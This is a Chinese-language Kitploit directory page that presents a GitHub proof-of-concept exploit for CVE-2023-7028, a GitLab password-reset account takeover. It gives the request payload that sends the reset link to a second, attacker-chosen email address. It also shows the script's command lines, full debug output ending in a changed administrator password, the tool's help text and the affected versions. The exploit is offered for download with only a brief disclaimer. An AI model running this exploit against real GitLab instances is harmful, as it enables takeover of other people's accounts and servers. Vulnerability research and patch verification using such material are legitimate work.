Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-7028-Account-Take-Over-Gitlab — CVE-2023-7028 的概念验证漏洞利用程序,通过操纵密码重置电子邮件自动化实现 GitLab 账户接管。包含临时邮箱集成,并支持自定义攻击者邮箱。 | Kitploit
工具/GitHubGitHub/shimon03/cve-2023-7028-account-take-over-gitlab
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubshimon03/cve-2023-7028-account-take-over-gitlab

CVE-2023-7028-Account-Take-Over-Gitlab

CVE-2023-7028 的概念验证漏洞利用程序,通过操纵密码重置电子邮件自动化实现 GitLab 账户接管。包含临时邮箱集成,并支持自定义攻击者邮箱。

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-7028 | Gitlab 账户接管漏洞

免责声明

此代码是该漏洞的概念验证,我不鼓励任何人将其用于不属于自己的 Gitlab 实例。
此工具仅用于研究和教育目的,对于您使用它所做的任何行为,我概不负责。

描述:

CVE-2023-7028 是一个账户接管漏洞,允许用户在无需目标用户交互的情况下接管 Gitlab 管理员账户。

该漏洞存在于重置密码时的电子邮件管理机制中。攻击者可以提供两个电子邮件地址,重置代码将同时发送到这两个地址。
因此,攻击者可以同时提供目标账户的电子邮件地址和攻击者自己的电子邮件地址,从而重置管理员密码。
(Gitlab 指出,双因素认证可以防止此漏洞被利用,因为即使攻击者重置了密码,也无法登录。)

该漏洞由 asterion04 发现

Payload:

以下是一个示例 payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC:

方法 1:使用临时邮箱
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
方法 2:使用恶意邮箱
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

帮助

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

注意:

如果不使用 --evil 选项(用于指定攻击者的电子邮件地址),脚本将使用公共临时邮箱来查找密码重置链接。
=> 如果在渗透测试中使用此 POC,请务必小心。

受影响的版本

  • 16.1 至 16.1.5
  • 16.2 至 16.2.8
  • 16.3 至 16.3.6
  • 16.4 至 16.4.4
  • 16.5 至 16.5.5
  • 16.6 至 16.6.3
  • 16.7 至 16.7.1

参考:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
下载工具